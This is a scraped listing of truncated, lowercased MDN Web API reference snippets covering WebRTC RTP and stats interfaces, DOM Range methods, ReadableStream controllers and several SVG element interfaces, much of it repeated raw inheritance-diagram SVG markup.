... a value less than 1.0 would cause the video to get larger rather than smaller, which is not the intent of this property.
RTCRtpReceiver.getStats() - Web APIs
the rtcrtpreceiver method getstats() asynchronously requests an rtcstatsreport object which provides statistics about incoming traffic on the owning rtcpeerconnection, returning a promise whose fulfillment handler will be called once the results are available.
... syntax var promise = rtcrtpreceiver.getstats(); return value a javascript promise which is fulfilled once the statistics are available.
... the returned statistics include those from all streams which are coming in through the rtcrtpreceiver, as well as any of their dependencies.
RTCRtpSendParameters - Web APIs
encodings an array of rtcrtpencodingparameters objects, each specifying the parameters for a single codec that could be used to encode the track's media.
... priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority.
... transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters().
RTCRtpStreamStats.firCount - Web APIs
this is a measure of how often the stream falls behind and has to skip frames in order to catch up.
...this tells the sender to send a full frame instead of a delta frame, so that the receiver can catch up.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCRtpTransceiver.currentDirection - Web APIs
the read-only rtcrtptransceiver property currentdirection is a string which indicates the current directionality of the transceiver.
... syntax var direction = rtcrtptransceiver.currentdirection value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type.
...each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below.
RTCRtpTransceiver.stopped - Web APIs
the transceiver is stopped if the stop() method has been called or if a change to either the local or the remote description has caused the transceiver to be stopped for some reason.
... syntax var isstopped = rtcrtptransceiver.stopped; value a boolean value which is true if the transceiver's sender will no longer send data, and its receiver will no longer receive data.
... note: currently only firefox implements stopped, and has not yet been updated to implement this change.
RTCStats.type - Web APIs
WebAPIRTCStatstype
the rtcstats dictionary's property type is a string which specifies the type of statistic represented by the object, where the permitted values are drawn from the enum type rtcstatstype.
... the string can be used to determine which of the rtcstats-based dictionaries are the foundation of the statistics object.
... syntax var type = rtcstats.type; value a domstring which specifies which type of statistic is represented by the object.
RTCStats - Web APIs
WebAPIRTCStats
properties id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... timestamp a domhighrestimestamp object indicating the time at which the sample was taken for this statistics object.
... the statistics type hierarchy the various dictionaries that are used to define the contents of the objects that contain each of the various types of statistics for webrtc are structured in such a way that they build upon the core rtcstats dictionary, each layer adding more relevant information.
RTCTrackEvent.receiver - Web APIs
the read-only receiver property of the rtctrackevent interface indicates the rtcrtpreceiver which is used to receive data containing media for the track to which the event refers.
... syntax var rtpreceiver = trackevent.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one.
Range.cloneContents() - Web APIs
html id attributes are also cloned, which can lead to an invalid document through cloning.
... syntax documentfragment = range.clonecontents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); documentfragment = range.clonecontents(); document.body.appendchild(documentfragment); specifications specification status comment domthe definition of 'range.clonecontents()' in that specification.
... living standard no change.
Range.endContainer - Web APIs
the range.endcontainer read-only property returns the node within which the range ends.
... to change the end position of a node, use the range.setend() method or a similar one.
... living standard no change.
Range.insertNode() - Web APIs
WebAPIRangeinsertNode
if the new node is a document fragment, the children of the document fragment are inserted instead.
... example range = document.createrange(); newnode = document.createelement("p"); newnode.appendchild(document.createtextnode("new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(newnode); specifications specification status comment domthe definition of 'range.insertnode()' in that specification.
... living standard no change document object model (dom) level 2 traversal and range specificationthe definition of 'range.insertnode()' in that specification.
Range.startContainer - Web APIs
the range.startcontainer read-only property returns the node within which the range starts.
... to change the start position of a node, use one of the range.setstart() methods.
... living standard no change.
Range.surroundContents() - Web APIs
this method is nearly equivalent to newnode.appendchild(range.extractcontents()); range.insertnode(newnode).
... syntax range.surroundcontents(newparent); parameters newparent a node with which to surround the contents.
... living standard no change.
ReadableByteStreamController.enqueue() - Web APIs
the enqueue() method of the readablebytestreamcontroller interface enqueues a given chunk in the associated stream.
... syntax readablebytestreamcontroller.enqueue(chunk); parameters chunk the chunk to enqueue.
... exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream cannot be read for some other reason, or the chunk is not an object, or the chunk's internal array buffer is non-existant or detached.
ReadableStreamDefaultController - Web APIs
readablestreamdefaultcontroller.enqueue() enqueues a given chunk in the associated stream.
... when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
... const stream = new readablestream({ start(controller) { interval = setinterval(() => { let string = randomchars(); // add the string to the stream controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment stre...
Request.context - Web APIs
WebAPIRequestcontext
this defines what sort of resource is being fetched.
... the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the url is for an image, or an embeddable object such as a <video>, iframe, etc.
... note: you can find a full list of the different available contexts including associated context frame types, csp directives, and platform feature examples in the fetch spec request context section.
RequestDestination - Web APIs
navigator.sendbeacon(), eventsource, <a ping>, <area ping>, fetch(), xmlhttprequest, websocket, cache and more.
... "audioworklet" the target is data being fetched for use by an audio worklet.
... specifications specification status comment fetchthe definition of 'requestdestination' in that specification.
SVGAElement.target - Web APIs
the svgaelement.target read-only property of svgaelement returns an svganimatedstring object that specifies the portion of a target window, frame, pane into which a document is to be opened when a link is activated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettargetchrome full support yesedge full support 12firefox full support yesie full support 9opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera and...
SVGAngle - Web APIs
WebAPISVGAngle
an svgangle object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...the associated element is used to determine which element's content attribute to update if the object reflects an attribute.
... every svgangle object operates in one of two modes: reflect the base value of a reflected animatable attribute (being exposed through the baseval member of an svganimatedangle), be detached, which is the case for svgangle objects created with svgsvgelement.createsvgangle().
SVGAnimationElement: beginEvent event - Web APIs
it will be raised each time the element begins the active duration (i.e., when it restarts, but not when it repeats).
...scheduled or interactive) timeline play, as well as in the case that the element was begun with a dom method.
... ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbe...
SVGClipPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgclippathelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
SVGCursorElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcursorelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
SVGDescElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgdescelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svg...
SVGFEDropShadowElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedropshadowelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
SVGFilterElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfilterelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
SVGGraphicsElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
SVGMPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmpathelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
SVGMaskElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmaskelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svg...
SVGNumber - Web APIs
WebAPISVGNumber
an svgnumber object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... note: if the svgnumber is read-only, a domexception with the code no_modification_allowed_err is raised on an attempt to change the value.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgnumber' in that specification.
SVGPathSegList - Web APIs
any changes made to the item are immediately reflected in the list.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgpathseglist chrome ?
... chrome android ?
SVGPatternElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgpatternelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
SVGStopElement - Web APIs
